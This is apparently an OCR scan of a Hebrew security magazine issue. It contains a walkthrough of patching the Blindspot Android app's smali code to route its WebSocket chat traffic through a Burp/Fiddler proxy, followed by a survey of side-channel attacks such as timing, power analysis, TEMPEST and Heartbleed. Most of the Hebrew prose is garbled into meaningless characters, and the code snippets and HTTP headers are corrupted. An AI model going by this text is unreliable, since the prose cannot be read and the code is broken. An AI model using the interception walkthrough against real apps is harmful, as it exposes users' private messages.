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GET /chat HTTP/1.1
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Upgrade: websocket
Connection: Upgrade
Sec—WebSocket-Key: x3JJHMbI
Sec—WebSocket—-Protocol: chs
Sec—WebSocket—Version: 13
Origin: http://example.com

1.1 101 Switching Protocols
: websocket
Upgrade
HSmrcOsM1YUK
0l : chat
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.(Fiddler, Burp) n7¢ Web Proxy-n DA Ind ,N2 0'2NIN DOI') Proxy

-N MYY CONNECT aion Tz oy HTTP nwza n71v |9T9Tn 2 17210 Tunnel-n nx' 70N
N7 2%wni ,200 210N NAIYN 'R Proxy-n MY . TY'N MY ¢ N2INdA DX 7N nwzan .Proxy
HTTP 7yn 7217 TCP Proxy wnn%? 0T nwyn? IT .NMYY NN NIRan NMivpnn 75 nx Yy

.Proxy

N'N ,WebSocket 7w Proxy Y¥17 70 TNW X'n NYRANNN Mzonn L1770 D'RYINN Y 7¢ n1ann oy
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:dbg nj'7nna Socket-n Ny IR

try {
Socket a;
int a2 = ckh.a(port, z):
if (ckh.b.d '= null) {
a = ckh.a(host, a2, z, i):
} else {
a = ckh.a.a(z).createSocket();
a.connect (new InetSocketAddress(host, a2), i);
}
if (port >= 0) {
host = host + ":" + port;
}
if (rawQuery != null) {
rawPath = rawPath + "?" + rawQuery;

}

dbp.c = new ckb(ckh, z, userInfo, host, rawPath, a, i);
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:ckb nj'7nna HTTP-n DXIN Handshake-n nn*7w Tip

StringBullder append = new StringBullder ("CET 7) .append(cjl.c)
.append (" HTTPE/1.1\r\nHost: ™)
.append(cil.b)
.append ("\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version:
.append(cjl.d)
-append ("\r\n") ;
cjl.a(append, "Sec-WebSocket-Protocol"™, cjl.e);
cjl.a{append, "Sec-WebSocket-Extensions", cjl.f);
cjl.a(append, cjl.g);
if (!(cjl.a == null || cjl.a.length() == 0)) {
append.append("Authorization: Basic ") .append(cjk.a(cjl.a)) .append("\r\n") ;

}
b.write(cjn.a(append.append (" \r'\n") .toString()));
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10XV DT DK WnnY 110X, 0TI N20InY Tunneling

7w Debugging NIMXW NX11D) N¥P'79RN TIZ 1IN 12D DT WINM MNYA NN ,D07tY7 X

.ckh n'7mmn nnn ,(o'nnonn

Y290 12 Flow-7 nvyz'79xn X 7amw if 'Ran 0" dbg nZ7nnaw 1Nfa nika? na Lp-ind

BALAITARIN

try {
Socket a;
int a2 = ckh.a(port, z):
if (ckh.b.d '= null) {
a = ckh.a(host, a2, z, i);
} else {

.D"PNN K7 'NINN NTYRY79XN 7w 070 nwona

Blindspotn¥j7"79X2 NIMNKN NNAY

www.DigitalWhisper.co.il
1 2017 ANt ,79 [IM'7a




Technologic

I'vyo'x97 n'7'nnn

$NANOYW SMALI-N TR "7 Ynim 0T 719 Nk 1197

http://inonsec.blogspot.co.il/2016/11/v-behaviorurldefaultvmlo 34.html

12177 noOTH

[N 1947 ,plain text NIVTIN 2177 0'9TNY 0T ,NWY' KINW N 70W 'YOKRD NI1AY7 N¥11 ,n7NNN M2

IYPNI NNAIWNIE NISXIN

:cki NP'7NN2 a N'¥RAIdvN XK' L,D'0N 210N NIYVTINA N790NY N'NI97 KNAIT
public final cki a(byte[] arrby) {
byte[] arrby2 = arrby;
if (arrby '= null) {
arrby2 = arrby:
if (arrby.length == 0) {

arrby2 = null;

}
this.g = arrby2;
return this;

.NI0 7'90N X'N XNAITN 71ava X L NVTIAN 7w 010N 722 NY90N NI NN

KIN arrby-w 10 1T N'¥72197 AR WA arrby 7w W DR 2177 0'9T'W ,'K70 NNAY nxa Nwd

N2'Md2 DTN NIRNRY Y 177 NoDTNN 9% String-7 nnn 17 NIWYY 110X ,0'M2a 7w vn

:0'N70

77 9'0IN71 ,NYUTN N'¥119 9'0INYT YN MWORNN OX - 0" TI7 NINSY NNd NNY7 'RTD e
N9 NNIXRT AR PO RN

Java-n 79n1p AKX SMALI TIp 7y "Ny nnd Jnnon? ‘KT ,SMALI-A D'ptn X7 DNX DX e

.Intellij-7 *Ty'* Plugin niv¥nxa SAMLI-7 Java TIz 7min%? [N .DN2ND DNXRY

‘N0 NNN 2INDIY N'X2219N

String = = new String(arrby):
Log.e("Output message : ",3);

Blindspotn¥j7"79X2 NIMNKN NNAY
www.DigitalWhisper.co.il
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:Smali-7 nann WnXY

.registers 4

.prologue
.line 13

.line 14

.line 15

.end method

.method public lala([B)}V

v0, Ljava/lang/String;

{v0, pl}, Ljava/lang/String;-><init>([B)V

vl, "Output message : "

{vl, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I

,Jon NRY Lvirtua

| methods 7w vINaoN M2 ,cki.class N7Mmn TIR? q'onn SMALI-D TIz DX

17w NNA97 AR qlon cki.a(byte[]) n'xPadvn NY'NNA

.method pub
.locals

line 4

.prologue

I1ic final a([B)Lcki;

B7
pl, :cond 0

{p0, pl}, Lcki;->lala([B)V

.android-2 |'gnal I'7y DINN) ,APK-0 Y2l X WTNA NIQ)

:NTIPON NIYXNXA L1197 (W'D log-N NIX 7INNY7 y'min .log-2 NI9Y7 N¥11 ,Xxan 17wAa

|adb logcat -c

7¥ D210 P07 N1 ,P-M> .NnX A1 log-2 NI9X? nn 7y adb logcat N9 wnnwa pn NKY

:Error 7¥ nOniIn NNY7 NNNN DYYNR 7Y 1'0 ,RNAIT? .D'WIN'R

’adb logcat E:*

13

Blindspotn'¥j7*79x82 NI'M"IIRN NNAY
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:Socket-n LN 'Y

-0 7171097 DNAY O DYI'Y Y NIYY? 0¥ INIRY D20 ,2 27w TIgn Y NINan NKY?

117 Proxy-n 0T 112Y7 WebSocket

:Proxy Socket Nyt

ckh nP7nna a (string,int,Boolean,int) Nn'¥j7219n NIy¥nXa socket-n NX 117 dbg nZ7nn%? nNa
LJINT NIWY? NOIWON 0T .Proxy-n MW 7 HTTP Tunneling-n NX 17'aw2 nwIvl ,0TI7 N1'IXY

LOJ7N9 DY IX 727 socket WXII* ORN YAIZY 'RINN DR NIYT? XD

if-eqgz v0, [cond 16

.line 457
invoke-virtual {vl1, v4, v13, v2, v7}, Lckh;->a(lLjava/lang/String;IZI)Ljava/net/Socket;

move-result-object vé

cond 16
iget-object v0, wvl, Lckh;->a:Lejx;

inveke-virtual {v0, v2}, Lcix;->al(Z)lLjavax/net/SocketFactory:

move-result-cbject vl

NX'OF YXINN ,|21 NTNA .09X7 NIIY v0 200" AN DRN NP TIAY if-eqz NTIRS NYXAINNY NIXY? [N
-7 ANApE yxann X7 nTna 7 socket it nw cond_16  XYjw label-7  Tipa
o1 Lif-nez nTIR9Y if-eqz NTIFON NX MW 1 ,wmM D 1'wn L Proxy DY socket XN ckh.a

.ckh.a-7 nxM yxann nexp7oRn 7w nxn DA akm

:Proxy-7 01191 [P NAIND NNTAN

N'n NINT Y¥27 NOUIYON TR 17w Web Proxy-n 7w 011901 IP namdn nX ckh nz7nna v
,InetsocketAddress(string,int) ,Constructor-n N'¥j1197 AR NYXANNY 197 TIpn DX DY

.17wUn 0DV DNIX 970071 NY7R D'N7WIN D00 AN DRYNIY 0DV DX ONT?

118 const-string v4, "10.0.3.2"

119

120 const/16 wl, 0x22bB

122 inveke-direct {v2, v4, vl}, Ljava/net/InetSockethddress;->»><init>(Ljava/lang/String;I)V
19392

IEEE |7n2 8888 190nn NX ax''n 0x22b8-1 ,Genymotion-2 HOST-n NX nax'n 10.0.3.2 namodn

.(Fiddler 7w vM19n) 754

Blindspotn¥j7"79X2 NIMNKN NNAY
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1IN MYy9 TN [9IX2 D71 ,WebSocket Dy WNI' N2IV NYINA TAIWY Burp Nwx? (Fiddler-7 '‘nanx 75 oy
2V 'TRNY Burp 71apna 7'woll ,wTNN Patch-n DY N'¥7*79RN NIR 7'W91 TWUND .12 wnnwn? Y7N)

.Proxy Websockets --> History nnn WebSocket-n n1iayn nx NIx17 7211 ,0'kNnin 01190

NN 07N ,'MIR OR'Y 7'NNN NK YNNYAY Yaid Nwnn J'I'73.|7J'IYJUJ NIYRIN nVTINNY |2Ind

:client_id nTwa 17w 19700 190N

I. Burp Suite Free Edition v1.7.03 - Temporary Project

Burp Intruder Repeater Window Help

- Target I Proxy T Spider I Scanner T Intruder I Repeater T Sequence
- Intercept T HTTF history T WebSockets history T Options }

Filter: Showing all items

# 4 URL | Direction | Editeq
148 https://chat blindspot im/im?u=9725___  Incoming L]
149  https://chat blindspot im/im?u=9725___  Incoming L]
180 https://chat.blindspot im/im?u=9725... Incoming ]
181 https://chat.blindspot.im/im?u=9725... Qutgoing L]
162  https://chat.blindspot.im/im?u=9725... Incoming (]
163 https://chat.blindspot.im/im?u=9725... QOutgoing ]
154 https://chat.blindspot.im/im?u=9725__. Incoming ]
1585  https://chat blindspot im/im?u=9725__ Outgoing L]
186 https://chat blindspot im/im?u=9725___ Incoming L]
187  https://chat.blindspot.im/im?u=9725... Outgoing ]
148 httns-ffchat blindspot imdim? ; [ |
| Message

| Faw | Hex
S-callback_typeD@client_id- S CatIvy
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Did'o

78 ,A NPT 7w 19700 1900 DK N71IW NNWN - N1MYN TR D' NNAXY NY2INN ,NMNVAX N1'NaN
AWN D'MNIA 190N 1PN NNCTRN NPT 170N "nmank” an'w ey Ynn nwa LB nipt

ANI My 1'70NN DX D90 DN IR,V WD

D'U901I7 TN77 NN NRNN NNV IR L'TVAN [N NIRYINYG YAN7 NIMENINN ne 0oaT pye

AN NNANE 7Y AR 70NN DR Y¥A7 X71,Android-2 NN N'TA7 0'vann 0ve'd

21/11/2016 ) IRN ANNT NW2INN

23-29/11/2016 DINNN |2 MZIN NY2INN

Blindspotn¥j7"79X2 NIMNKN NNAY
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(Side-Channel Attack) 1T YNy nopnn? xian

171'0 721’ NXNn

NXIan

NIYY AIWNNN NDIYN ,XNAIT? .NRIXAN D200 7 DFTTN NYYPRIVIRA NI7VI9 A1IWNnN NN
a7 VIR 0I7PT DMWY alwNnn NDwn 7apnal L('KCRPTO Nanwn) N2'a0%7 on R 0179Y
NIIX'NN D207 (*7RP'T'O NINWN) Wy NUMO D' DINK XNAIT (2 "R NINwNn) N2'aonn

121, NIMTIR ,D"7I|7D'1 ,'0N N'YUR-20'T ,MIIRN 2IYNNN NDIYN] 0NN yny IX/I D"1DN DN

0'07910 'DTTY' / 'DMIN'D' DINWN DNIR 7Y DTYT D 71 ,DNIY D'ATEX DNpPNNnY DRNNA
NNAIT) NI9YRY IR/ NN'Y' ARON NIZIYD YIXY PN NRYEL(DMRP'T'S DINWN NNAT) N20Y7

1M YA aiwnnn Ndvn 7w (State) 2¥n DX [NAXY [N ,0NWN DNIX N0 7Y ('00'VLO NINY

VAN WY DX NYT? NIn 7Y .01I90N D71IYN RNAITA WNANWNY N2 ,0T NPV 7¢ nowsn DwY
oy .pnwnn 7w 190 'R MY DRTE (' DIXA) MW Pnwnn 1700 DR (IN7 N1 ,(Qxn)
12'UN 91 NN TV DRTEL (T / 'Mixen’ / nnrwr X7) N9y NI R NIRT NWT? [N, NINT
YYD 70190 WY NYpan ATt? NIDMOoA D UNT [N UKD L|IFTUXRNN YZIAN 'O0IPKRN ynwa

NNXIVAL TR ™M 'NIvRwn [9IXR2 rart 17'9' D'TNINN MUK

[N D DTAWN 71X ;(Side-Channel Attack :1n*721x2) *TT¥ YNy N9pPNN NOOIAN DT [NV 0'01 7y
,(M2107 21wnn Nd>wn 7w 0790 NTTN) AWNN NdYN NIP'Yoa 'D'TTX' / '0™ix'n' DINwn TIM”Y
n>wn 7w (State) avnn a7 DY YT 7ap% oAl ,0NYN DNIR 72V O'RNN W0 7T 7'ninY

Alvnnn

nopnn" TTY yny nopnn%? nxan mMann DX NEoon N'WOINN NTTOITRNIND ,N'TOp
W 0T K71 N19XNN NDWN 7Y WIN'WN IR T'ON DIWTN [9IXA AYINY YT N7¥INN N'OIAIDM?
NI72an w1 ,0'yY7 N'0IIRN AT7IRIV9MP IN NO0IAN X'N N2V DNMIAZRN TA1D 7u9IMn 0a Nd
N9IN NITIRI NNXIA L,NIO¥AN NDWN DIY'Y [DIX2 A7 NNIYN 10IN IR NRYYA 7wa X NINdLY

".N712 N>WnNN |INV DX 207 717VN YT Y17'N NTNYWONNAN

1

N
https://he.wikipedia.org/wiki/%D7%94%D7%AA%D7%A7%D7%A4%D7%AA %D7%A2%D7%A8%D7%95%D7%A5 %D7%A6%D7%93%
14.12.2016-2 n'7T1 ,D7%93%D7%99
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https://he.wikipedia.org/wiki/%D7%94%D7%AA%D7%A7%D7%A4%D7%AA_%D7%A2%D7%A8%D7%95%D7%A5_%D7%A6%D7%93%D7%93%D7%99
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NM71yn DY YT XM OWY IT N9PNN DX 7X17 N1 D TIN%7 [N Dpnnn NNS02A |I'Va ,NNT DY
o 7y Nt L (Virtualization) n'XT2XI0M1IN D71vNn DY YT I NNAITD NXTIE ,D'901 [DIN
(Virtual n'7x1001 mapnn ,nai7e (Virtual Machine) n'7xion maon 7w (State) axn 7ikwn
MIX 72y ninARNn ((Virtual Machines) nIr'xion N nnpnn "My WWRD ,NIMYX Machine)

.Hypervisor

D'MonN 7¥ Dni' NNNY NXTI ,0NN0N DX 2'WN7 DYIYY D'OFZIN IT NOPNNA WIN'Y NIYYNANRA ' 'Y

(North American Electric Reliability NERC n2'pnn 2R ,XAAT? .0"NIOA N1an DNl

N7 (Information Technology) IT-n nwn 2 (Air-Gap) N'T' NT19n y¥a? y'7mn ,Corporation)

(Supervisory Control SCADA NI>aynl win'y nwyl DN DN (Operation Technology) OT-n

LJI7TIan NN 12 2977 N0 T YNy NO9PNNA WIN'Y NIYYNANA ,NNT OV .and Data Acquisition)

DW? 'TTXY YNV NOPNNY WNNWAT? QX N1 77 PIXY '9) N'T'9 ATI9N 7¢ nnl'p NN NXTI
72T DX NINT? AN 7Y 'wnn D710 K77 DT 2RSA NNAITD ,D'N'DW N19¥N NINNSA NOYTN

.(MI'M110n NN NN Y JAnon (IR 1D N1'Na) N9 TN

AWK ,‘HeartBleed’ NOpnn N1\ ' TTX YV N9NNYT VTN NNVAKX D71V NIVITN NIXKAAIT NNX
NOPNNN 7w XM RN 707 .0y YT Npon owh SSL NN 'fanna niyaao 71 %'
OpenSSL 1.0.2--1 OpenSSL 1.0.1 NONA2 NNVAXR NXID MZINI AN7ann 2014 798" ;N 19 In
-NN NIYYNRY NYNN U2 YR 7w 64KB TV 9ion? [N N2y ,NI%0N NIKOIA 190n1l beta
DY 72y NT919) HeartBleed NX1j72n ,NOPNNN .|IN21'0 717109 KINW ,Heartbeat X730 72171009
N7'onn |N21'0 Nnwi?a ,(Bound Checking) Ni7122 Nj7'Ta N'wyl X7 nTaIvn NX N7¥an (7110090
N7'0N NN @'9N7 MWL NN Y TINN 7TIA DX AN NTYA 65,536 wn Naxnl TNR N2
N'0NP DM 7007 YWY YT YA IR 101N V71IY 1'R RINN DINXR .0IW'D [N VTN

" MW 7¥ T0OXN NNON QNI NIXNO'O ,NIMAIY IND

TTY YNV NOPNN wnnwn? N1, (VTN NIFToa nwas)’ may yTm X Xwin 1ayn D U7 IR

NPNNAN NNS0A |I'Va ,NIRT DY .NNYY 2IYNNN DDA IX/1 YTNN Nt IR/ nintwa nyao vy

TT¥ YNV NOpNA NIWXNK2 'wina?' [Na WK "My 1wn'/(exponent) nptna wanwn RSA DNMIAYZK ,M9¥AN 70N Naivy
VOYUNI NIYNNWYN NNDIY NI9XN NIDWN ,NARYDI NIOXNN 'WIXA NI9'W Dw7 P D (720 awn 7Tm? "ax'n nanwn' NXiIvn)
nMIoNn NX 7'TanN7 WY 'N'on NMIRYUN 0OUN wIn'wn - winm 17N NRT DY .(Chinese Remainder Theorem) 'n2'on Nn"Rwn

.N19¥NN 7NN 7Y 2'9NLVIRA NY'A97 NINP0N IXT? NXRTE,NIY2AON

3

NN
https://he.wikipedia.org/wiki/%D7%94%D7%AA%D7%A7%D7%A4%D7%AA %D7%A2%D7%A8%D7%95%D7%A5 %D7%A6%D7%93%
.14.12.2016-2 n7T ,D7%93%D7%99

PHI (Protected Health Information), PIl (Personally Identifiable :nIXan NNTaNY? DIWA VTN '019 IRUA 2 21997 1wy D W viTn *
Information), IP (Intellectual Property), Payment Details, Classified Information

(Side-Channel Attack)TT¥ YNy nopnn? Xian
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http://www.nerc.com/Pages/default.aspx
http://www.nerc.com/Pages/default.aspx
https://en.wikipedia.org/wiki/Air_gap_%28networking%29
https://en.wikipedia.org/wiki/SCADA
https://en.wikipedia.org/wiki/SCADA
https://en.wikipedia.org/wiki/RSA_(cryptosystem)
https://en.wikipedia.org/wiki/RSA_(cryptosystem)#Using_the_Chinese_remainder_algorithm
https://en.wikipedia.org/wiki/RSA_(cryptosystem)#Using_the_Chinese_remainder_algorithm
https://en.wikipedia.org/wiki/RSA_(cryptosystem)#Using_the_Chinese_remainder_algorithm
https://he.wikipedia.org/wiki/%D7%94%D7%AA%D7%A7%D7%A4%D7%AA_%D7%A2%D7%A8%D7%95%D7%A5_%D7%A6%D7%93%D7%93%D7%99
https://he.wikipedia.org/wiki/%D7%94%D7%AA%D7%A7%D7%A4%D7%AA_%D7%A2%D7%A8%D7%95%D7%A5_%D7%A6%D7%93%D7%93%D7%99
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NOPZNN NIYXNKX AIYNN NIDAYNN 'Y '9A109"M )7 VT'n 'IX'M XY NITynnn NNy D Tn?% N1

JN'ONTIVO NIOXN NIYXNKRA [OXIN TWUK 'Y VTN N7 DIV 0'NIA 7w 'Y AIRT? NRTIL T

VWOY7 NN 7 I ,NYI 121NN D71V 72 NX A'¥N7 NN AT NN I'K D "XNI MNIKNN NR DTN
NS0 V'oIn |2 DMYIoON D'?I'T 'R 190N W'SI* D PN' a7 2'011 ,N1%'700 190N 1vXIA TIXNN NX

NXN2 AIMdN |'3.'7 napnnn

N NXRTETIX YNY NOPNN XWIYT IIYURY RIQAN NAXNA TPRNN NRNN D |UYX DT 7270 013'07
YT 977 yIxa? nron'n Ni7zn DX NIXINY NNVNQ NIXTE ,APNAN DINNA NINYDY NINNAIT YIN'Y

AT NOPNN NIVXNKR] AIYNN NIdYNN

No'INN Winm oMok (“Tx 'xiny') yTm nnign

/ 079 iy / "T¥n xnw" Dwa X DWIT) "oMpvn VTN DNpnY nro'oa nyo 1'sn [k

STTY YW NOpNN winm? (VT qIo'N 'Yy

(Timing) TN yTn .X

mna W ,(Execution Time) AT Maon NYIT NRUIWA A71V9 NN7wn DWY ,0MATH Yaon
2 NWY1 TUNX D'I0N DNNIAZKI NNYION AIWNn NdvnN? ona ,0fon 07 NN e .aTInY
2V NTTMMY NINE D'MY? NN WK NAIYN 7189 75 VINY nyip (ar nNaon MYt vin'y
AWX TAYNN NIVRODINI NIOXNN DNNIRYR NNAITY ,0NVNID7 YTIN YW qpIn XN’ 079 No
AWK ATN NNAoNY? 77N DX NHWA71,21U'NN 1'70N7 'R 7T ninat 2o J/wim'y nn num

NQAIT? 2NN 07 DX NIXNYT 021, "1¥' NN’ 0790 71N 'R |DINA NTTN]

D'NIINNN NXpPNl DY 0D'NINY Win'y 2727 "Wy "UR "aT ,0'"M'Yn YT nNipn 7¢ nin |‘l|7|'7n nApnnn nNsoa NIXnY |J"I']5
.NT INXRN] YIN'Y nYYl DN

Run time (Program Lifecycle Phase) :n'y21x2 nvoi7n n'nam®

910 ,7V191 NN'W7 NOFNNN 19N NN 72U ,NRT DY .N9PNAN WIN' DWY 198 D09 NYT7 Inn 7V 1IN 'R NFOIKNN Ana’
.2V191 NOPNNN AT DX X7 WY TWUK 12T ,MI9XNN NN 7V DT YT 9I0K7 NOY' 7NN D NNy

(Side-Channel Attack)TT¥ YNy nopnn? Xian
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Clear) M9¥N X77 VORL IRWN |2 771D WK ,'MIION NIDXN )'7NN A'NXAN KNAIT? D'WAN [70Y

Cypher) |9¥Im voj7VI (Encryption Algorithm) n19¥n DNMIA7XR ,(Secret Key) n1oxn nnon ,(Text

(Text
Eve
M » E > D > M
L i
Alice Bob

Figure 1: The traditional cryptographic model
el
(BIack MINY NOS9Ij7A YX2NN NIVl N19Xnn ']"7ﬁ]'] 1D NTAWN QIKT? D D072 N'MYIoNN NNINN

[9XINN VOPLN 7Y PNYN A'Y! KIN DX X ,(Clear Text) NIPNN VORPL NX NI¥NY 721" X7 QPINN ,Box)

Jam Axw* 110N oAl ,(Cipher Text)

,N20N 71N N'YIAVI'RA N7VID 2AWNNN NDWN D NTAVAN DN7UNN N'MIIOAN NNINN ,NNT DY
,NT [NRY 7V 002NN 'TTX YNV N9PNN L,7WY7 |'INWU '9) .00IIan 0791 07 D700 7710 TWX "AT
079N NX YN qPInN L (Timing Based Attack) Inmn nooan *TTX¥ YNY NOpNN ¢ NMj7na TwUXD
,N1179 2IWNNN N>IYN2 NAIY'N N71V9 VI OWY NWITI WWKR NTH 1Naon 7y Tynn "ixnn'

.(TIoN) MM V7R W NPTN A'WNT7 RIY RIN 221,012 WK 'OIIRTD 7T 079 1Y

Side-Channel Attacks: Ten Years After Its Publication and the Impacts on Cryptographic Module Security Testi, YongBin Zhou, :ﬁl,‘m8

DengGuo Feng, State Key Laboratory of Information Security, Institute of Software, Chinese Academy of Sciences

(Side-Channel Attack)TT¥ YNy nopnn? Xian
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http://csrc.nist.gov/groups/STM/cmvp/documents/fips140-3/physec/papers/physecpaper19.pdf
http://csrc.nist.gov/groups/STM/cmvp/documents/fips140-3/physec/papers/physecpaper19.pdf
http://csrc.nist.gov/groups/STM/cmvp/documents/fips140-3/physec/papers/physecpaper19.pdf
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QIO 'YV / 079 'YY / T¥N YNV DY N DWIT) VTN DN DX A'YAN XNAIT? D'YAn 709

(Timing) "IMT'N"N 1'A DNN TNR AWKD ' TTY YW NOPNN winm? 0'nDwn (VT'n

Sound Power
. Soun :
Electromagnetic N Eve Consuinpnon .
Radiation w | P . ! ¥ Egecunon
o : al -~ ! -~ Time
M | E >| D > M
Visible Light <-1 T - <«-- T | __, Faulty
Ka Ky Outputs
Heat #  Alice ™y o Bob oy
Frequency Error Message

Figure 2: The cryptographic model including side-channel
]
D'NOY_ N19¥N '"MNMIAR 7V (Timing Based Attack) pm7'n nooian 'T1X YNV N9pnn D i

.1996 nawa Paul C. Kocher '1' 7y 117na nnonio (Diffie-Hellman, RSA, DSS nnaiTd)

Blind SQL -2 win'w ;(Timing Based Attack) |IT'N NooIAn 'TT¥ YNV NOPNN7 NINXR NAAIT
AWK NTN YN NNAIT) TV 21NN Ndwn 7Y (Response Time) Nnalann AT N1'NAI Injection
,(False) "jzwi (Positive) Mmx DIy 19 JIN NXT(Select NN'RWY nayn 7907 Web nw? njpi?
DXt L(0"RYI019 Usernames NN'WN N7'oNN N720 NNAITY) UXIN DYTAIM 0D N7a07 ona
[nm NIw ' L (Positive) NnX W7 (Response Time) NN NTY N1'D QRINN 7@ X¥INN NNIN
NIYA 12D DATIN IT N9PNN winm D |'Ix* .(False) "pw 71y 7w najna (Response Time) nannn

Time-Based Blind :IT n97Nn 7y NLIISN N'P07 150 1"y¥n |77 .DEFCON 16 01> n1aona 2008

.SQL Injection using Heavy Queries

10T N10Y (Timing) MT'N YT 7Y NO0IANN N9PNNA WIN'Y D'YWIY D2 D'97IN ,110In 1NXN]
NN 1Ty YD Nwon IR ATY 7D MIpnna NIX K77 R DRTE (Sandbox) "7In nooip" qpyni
[9T9TN 7w Cache-n 71x1 7y NOOIAN IT 210N NOPNNYT NNDY XNAIT .NOPZNINN 2YNNN NdIYNA
¢ VVIRN RN 7Y9IMN 'Y (Java Script) VOO NIIRA TIP NIYXNARL NIXTI ,NY17 (Browser)

SPwhi0 awnnn Dy yTnY nwa 7 9Eim? Awornn 1T ,q7mn

Side-Channel Attacks: Ten Years After Its Publication and the Impacts on Cryptographic Module Security Testi, YongBin Zhou, :ﬁl,‘m9
DengGuo Feng, State Key Laboratory of Information Security, Institute of Software, Chinese Academy of Sciences

The Spy in the Sandbox: Practical Cache Attacks in JavaScript and their Implication, Yossef Oren, Vasileios P. Kemerlis, Simha :“upr:n10
17.12.2016-2 n7m ,Sethuma dhavan,Angelos D. Keromytis, Department of Computer Science, Columbia University
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https://42xtjqm0qj0382ac91ye9exr-wpengine.netdna-ssl.com/wp-content/uploads/2015/08/TimingAttacks.pdf
https://42xtjqm0qj0382ac91ye9exr-wpengine.netdna-ssl.com/wp-content/uploads/2015/08/TimingAttacks.pdf
https://www.defcon.org/images/defcon-16/dc16-presentations/alonso-parada/defcon-16-alonso-parada-wp.pdf
https://www.defcon.org/images/defcon-16/dc16-presentations/alonso-parada/defcon-16-alonso-parada-wp.pdf
https://www.defcon.org/images/defcon-16/dc16-presentations/alonso-parada/defcon-16-alonso-parada-wp.pdf
http://csrc.nist.gov/groups/STM/cmvp/documents/fips140-3/physec/papers/physecpaper19.pdf
http://csrc.nist.gov/groups/STM/cmvp/documents/fips140-3/physec/papers/physecpaper19.pdf
http://csrc.nist.gov/groups/STM/cmvp/documents/fips140-3/physec/papers/physecpaper19.pdf
http://www.cs.columbia.edu/~simha/spyjs.ccs15.pdf
http://www.cs.columbia.edu/~simha/spyjs.ccs15.pdf
http://www.cs.columbia.edu/~simha/spyjs.ccs15.pdf
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N7 MIX'N' MNWNa win'y 2'9%71 ,N'on' 0'Minm 2" 1A Mouninan ynba 0UIR'YN D OX) Naima ar

(DN NraNA 1T MON 1K

SCADA-I (Internet of Things) loT N'MWAN 7V N1ANN NRINNOA 770 1D NIKAYZ NI ;72010 INXNA

NOIYN 7¢ N'ANIRD NDIX NNaon N1'NA 7y 0'ooann L (Supervisory Control and Data Acquisition)

NOPNN 7W DN 7Y T'Yn'7 YWY NNIN2 MWK LN'NIR MK OW7 DIRTE AT IR TV avnnn

(Internet of Things) loT N'MWN %Y N9ENN UN'R [NNS 7 N71y9N 11217 'MNd0 D'YAN 707

:PFP Cybersecurity n'an

Time- | Statistical
5| Frequency [EEN Analysis &
Analysis Clustering
eline &
Power Signal Data Machine Bas ot/ Thcet
DC, AC, EMI B Coliection Av.:am = T:’e::dt; —t
B Acquire New C:' jno Maf:hine
| Baseline? Time

[

http://www.pfpcybersecurity.com/index.html :upn**
(Side-Channel Attack)TT¥ YNy nopnn? Xian
www.DigitalWhisper.co.il
22 2017 ANt ,79 [IM'7a



https://he.wikipedia.org/wiki/BTU
https://he.wikipedia.org/wiki/%D7%92'%D7%95%D7%9C
https://he.wikipedia.org/wiki/%D7%9C%D7%97%D7%A5_%D7%90%D7%98%D7%9E%D7%95%D7%A1%D7%A4%D7%99%D7%A8%D7%99
https://en.wikipedia.org/wiki/Internet_of_things
https://en.wikipedia.org/wiki/SCADA
https://en.wikipedia.org/wiki/SCADA
https://en.wikipedia.org/wiki/Internet_of_things
http://www.pfpcybersecurity.com/index.html
http://www.pfpcybersecurity.com/index.html
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https://he.wikipedia.org/wiki/%D7%A7%D7%A8%D7%99%D7%A0%D7%94 %D7%90%D7%9C%D7%A7%D7%98%D7%A8%D7%95%D7
16.12.2016-2 N1 ,. %9E%D7%92%D7%A0%D7%98%D7%99%D7%AA

N'ON' N2INI A"NZRN N0 D ATAIWA K? ORI L,NDIFTA NNA0NN VIY'S DWY X ,N2'200Nn "R NUZIP X AwWNn N> none™
T XUNT NION'NN 7710 0T KN 'K ,NT'T AWNN NN ¥ npna

An Introduction to TEMPEST, SANS Institute InfoSec Reading Room :“upr:n14

17.12.2016-2 071 ,26.06.2015 ,270 0T ,NNX [N |N*L,[IDVIXAOLLI'T ,NN'D NITYA DY DY 7W TN AWNNY7 IX19N 1D 11I|7YJ15
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https://www.sans.org/reading-room/whitepapers/privacy/introduction-tempest-981
https://www.tau.ac.il/~tromer/radioexp/
https://he.wikipedia.org/wiki/%D7%A7%D7%A8%D7%99%D7%A0%D7%94_%D7%90%D7%9C%D7%A7%D7%98%D7%A8%D7%95%D7%9E%D7%92%D7%A0%D7%98%D7%99%D7%AA
https://he.wikipedia.org/wiki/%D7%A7%D7%A8%D7%99%D7%A0%D7%94_%D7%90%D7%9C%D7%A7%D7%98%D7%A8%D7%95%D7%9E%D7%92%D7%A0%D7%98%D7%99%D7%AA
https://www.sans.org/reading-room/whitepapers/privacy/introduction-tempest-981
http://www.themarker.com/technation/1.2668835
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TINN VLY N7 ,2AIYNAN NDIYNA 0'90I1 0101 DD 237 NI X IT N'AI0 AIYNAN NdyN
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72T ,21UNNn N>Wwn N2o02a (NN IY7n) 'Ninnn Yuwna '1'w7 0Na7 0wy 0'on 0ran ,avn
[DIX 7Y N7¥IN WM A'¥NN NN INKRY? 'MN7¥N X7 ,NRT DY .D12IY D'YNAND DTTNY [N WUR

highbirh
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("1™ xn M0 T NIKA WK, NIMNO-NIFNWN NITYIAVITRA DRYXIND)

YR NN NTIAY 222 IRIT ONIVRITAE MMV W "T MY STy ' 1N 2013 niwa Ny
DVOIPK NINIX 9I0'K N0 7v NXTI,Y(RSA NNAIT) N19¥N NINNSN NOY7TA VIXAY? N7I>' NNATH
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niITan nnn%? nxn L (Central Processing Unit) M'To>Inn TIA'vn DTN DT 7 Ny N790K

Q1Y NI7IYD YIN'N AXXIND NINNA MWK NA7IND NDNX

[IN27 QPIN7 AWONN TWKR 12T ,'DMIN'NN' DINYAN W DT TA DNYONN 7'W7 121X TWKR D1I9INN
NN n72WoN ' p'on? ,0'RNN 'ONNn 7TIN% N72pnal DONWNn DNIKA DYIR'YN NN

I NT2 DyXannn

IPNAN OINAN NI DTIAC'WRIN IRIND NNAIT ,0MpIN DNAY DN 1901 INTIN NN
nxT L Bawnn noavna Malware Ni7'wo 1981 ,2212 [1NI2-2 NO'0N2IR 7w (CSRC) 120 NNVARY
NITIO NINYA |2 YT q27TN7 0N TWOXR CWR ,YTun' 'vn? 2lwnnn Nd>Iyn DX 1907 nnona
0UNI9] YIN'Y NWYI DZNNN [N 7702 I LTV W7 7ainn ' 07pnin CuXd L (Air-Gap) N'T'o

